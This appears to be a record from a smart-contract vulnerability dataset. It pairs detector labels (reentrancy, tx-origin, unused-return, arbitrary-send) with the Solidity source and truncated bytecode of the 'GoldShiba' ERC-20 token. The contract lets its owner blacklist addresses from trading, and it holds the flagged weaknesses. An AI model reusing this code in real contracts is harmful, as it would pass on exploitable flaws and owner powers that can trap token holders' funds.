{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,861
0x04a773550191a43f66383ac7ad304759c888fdef
/** *Submitted for verification at Etherscan.io on 2021-07-26 */ /** *Submitted for verification at Etherscan.io on 2021-07-24 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract GoldShiba is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "GoldShiba Token_T.me/GoldShibaToken"; string private constant _symbol = "GoldShiba"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 7; uint256 private _teamFee = 8; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 7; _teamFee = 8; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (10 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues( tAmount, _taxFee, _teamFee ); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tTeam, currentRate ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e56565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061295d565b610441565b6040516101789190612e3b565b60405180910390f35b34801561018d57600080fd5b5061019661045f565b6040516101a39190612ff8565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061290a565b61046f565b6040516101e09190612e3b565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612870565b610548565b005b34801561021e57600080fd5b50610227610638565b604051610234919061306d565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129e6565b610641565b005b34801561027257600080fd5b5061027b6106f3565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612870565b610765565b6040516102b19190612ff8565b60405180910390f35b3480156102c657600080fd5b506102cf6107b6565b005b3480156102dd57600080fd5b506102e6610909565b6040516102f39190612d6d565b60405180910390f35b34801561030857600080fd5b50610311610932565b60405161031e9190612e56565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061295d565b61096f565b60405161035b9190612e3b565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061299d565b61098d565b005b34801561039957600080fd5b506103a2610ab7565b005b3480156103b057600080fd5b506103b9610b31565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a40565b61108b565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128ca565b6111d3565b6040516104189190612ff8565b60405180910390f35b606060405180606001604052806023815260200161379c60239139905090565b600061045561044e61125a565b8484611262565b6001905092915050565b6000670de0b6b3a7640000905090565b600061047c84848461142d565b61053d8461048861125a565b6105388560405180606001604052806028815260200161377460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104ee61125a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bec9092919063ffffffff16565b611262565b600190509392505050565b61055061125a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d490612f38565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61064961125a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106cd90612f38565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661073461125a565b73ffffffffffffffffffffffffffffffffffffffff161461075457600080fd5b600047905061076281611c50565b50565b60006107af600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4b565b9050919050565b6107be61125a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461084b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084290612f38565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f476f6c6453686962610000000000000000000000000000000000000000000000815250905090565b600061098361097c61125a565b848461142d565b6001905092915050565b61099561125a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1990612f38565b60405180910390fd5b60005b8151811015610ab3576001600a6000848481518110610a4757610a466133b5565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aab9061330e565b915050610a25565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610af861125a565b73ffffffffffffffffffffffffffffffffffffffff1614610b1857600080fd5b6000610b2330610765565b9050610b2e81611db9565b50565b610b3961125a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbd90612f38565b60405180910390fd5b600f60149054906101000a900460ff1615610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612fb8565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ca530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000611262565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ceb57600080fd5b505afa158015610cff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d23919061289d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8557600080fd5b505afa158015610d99573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dbd919061289d565b6040518363ffffffff1660e01b8152600401610dda929190612d88565b602060405180830381600087803b158015610df457600080fd5b505af1158015610e08573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2c919061289d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610eb530610765565b600080610ec0610909565b426040518863ffffffff1660e01b8152600401610ee296959493929190612dda565b6060604051808303818588803b158015610efb57600080fd5b505af1158015610f0f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f349190612a6d565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff02191690831515021790555066b1a2bc2ec500006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611035929190612db1565b602060405180830381600087803b15801561104f57600080fd5b505af1158015611063573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110879190612a13565b5050565b61109361125a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611120576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111790612f38565b60405180910390fd5b60008111611163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115a90612ef8565b60405180910390fd5b611191606461118383670de0b6b3a764000061204190919063ffffffff16565b6120bc90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111c89190612ff8565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c990612f98565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611342576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133990612eb8565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114209190612ff8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561149d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149490612f78565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561150d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150490612e78565b60405180910390fd5b60008111611550576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154790612f58565b60405180910390fd5b611558610909565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115c65750611596610909565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b2957600f60179054906101000a900460ff16156117f9573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561164857503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116a25750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156116fc5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156117f857600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661174261125a565b73ffffffffffffffffffffffffffffffffffffffff1614806117b85750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117a061125a565b73ffffffffffffffffffffffffffffffffffffffff16145b6117f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ee90612fd8565b60405180910390fd5b5b5b60105481111561180857600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118ac5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118b557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119605750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119b65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119ce5750600f60179054906101000a900460ff165b15611a6f5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1e57600080fd5b600a42611a2b919061312e565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a7a30610765565b9050600f60159054906101000a900460ff16158015611ae75750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611aff5750600f60169054906101000a900460ff165b15611b2757611b0d81611db9565b60004790506000811115611b2557611b2447611c50565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bd05750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bda57600090505b611be684848484612106565b50505050565b6000838311158290611c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2b9190612e56565b60405180910390fd5b5060008385611c43919061320f565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ca06002846120bc90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ccb573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d1c6002846120bc90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d47573d6000803e3d6000fd5b5050565b6000600654821115611d92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8990612e98565b60405180910390fd5b6000611d9c612133565b9050611db181846120bc90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611df157611df06133e4565b5b604051908082528060200260200182016040528015611e1f5781602001602082028036833780820191505090505b5090503081600081518110611e3757611e366133b5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ed957600080fd5b505afa158015611eed573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f11919061289d565b81600181518110611f2557611f246133b5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f8c30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611262565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611ff0959493929190613013565b600060405180830381600087803b15801561200a57600080fd5b505af115801561201e573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561205457600090506120b6565b6000828461206291906131b5565b90508284826120719190613184565b146120b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120a890612f18565b60405180910390fd5b809150505b92915050565b60006120fe83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061215e565b905092915050565b80612114576121136121c1565b5b61211f8484846121f2565b8061212d5761212c6123bd565b5b50505050565b60008060006121406123cf565b9150915061215781836120bc90919063ffffffff16565b9250505090565b600080831182906121a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161219c9190612e56565b60405180910390fd5b50600083856121b49190613184565b9050809150509392505050565b60006008541480156121d557506000600954145b156121df576121f0565b600060088190555060006009819055505b565b6000806000806000806122048761242e565b95509550955095509550955061226286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461249690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122f785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124e090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123438161253e565b61234d84836125fb565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123aa9190612ff8565b60405180910390a3505050505050505050565b60076008819055506008600981905550565b600080600060065490506000670de0b6b3a76400009050612403670de0b6b3a76400006006546120bc90919063ffffffff16565b82101561242157600654670de0b6b3a764000093509350505061242a565b81819350935050505b9091565b600080600080600080600080600061244b8a600854600954612635565b925092509250600061245b612133565b9050600080600061246e8e8787876126cb565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124d883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611bec565b905092915050565b60008082846124ef919061312e565b905083811015612534576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252b90612ed8565b60405180910390fd5b8091505092915050565b6000612548612133565b9050600061255f828461204190919063ffffffff16565b90506125b381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124e090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126108260065461249690919063ffffffff16565b60068190555061262b816007546124e090919063ffffffff16565b6007819055505050565b6000806000806126616064612653888a61204190919063ffffffff16565b6120bc90919063ffffffff16565b9050600061268b606461267d888b61204190919063ffffffff16565b6120bc90919063ffffffff16565b905060006126b4826126a6858c61249690919063ffffffff16565b61249690919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126e4858961204190919063ffffffff16565b905060006126fb868961204190919063ffffffff16565b90506000612712878961204190919063ffffffff16565b9050600061273b8261272d858761249690919063ffffffff16565b61249690919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612767612762846130ad565b613088565b9050808382526020820190508285602086028201111561278a57612789613418565b5b60005b858110156127ba57816127a088826127c4565b84526020840193506020830192505060018101905061278d565b5050509392505050565b6000813590506127d38161372e565b92915050565b6000815190506127e88161372e565b92915050565b600082601f83011261280357612802613413565b5b8135612813848260208601612754565b91505092915050565b60008135905061282b81613745565b92915050565b60008151905061284081613745565b92915050565b6000813590506128558161375c565b92915050565b60008151905061286a8161375c565b92915050565b60006020828403121561288657612885613422565b5b6000612894848285016127c4565b91505092915050565b6000602082840312156128b3576128b2613422565b5b60006128c1848285016127d9565b91505092915050565b600080604083850312156128e1576128e0613422565b5b60006128ef858286016127c4565b9250506020612900858286016127c4565b9150509250929050565b60008060006060848603121561292357612922613422565b5b6000612931868287016127c4565b9350506020612942868287016127c4565b925050604061295386828701612846565b9150509250925092565b6000806040838503121561297457612973613422565b5b6000612982858286016127c4565b92505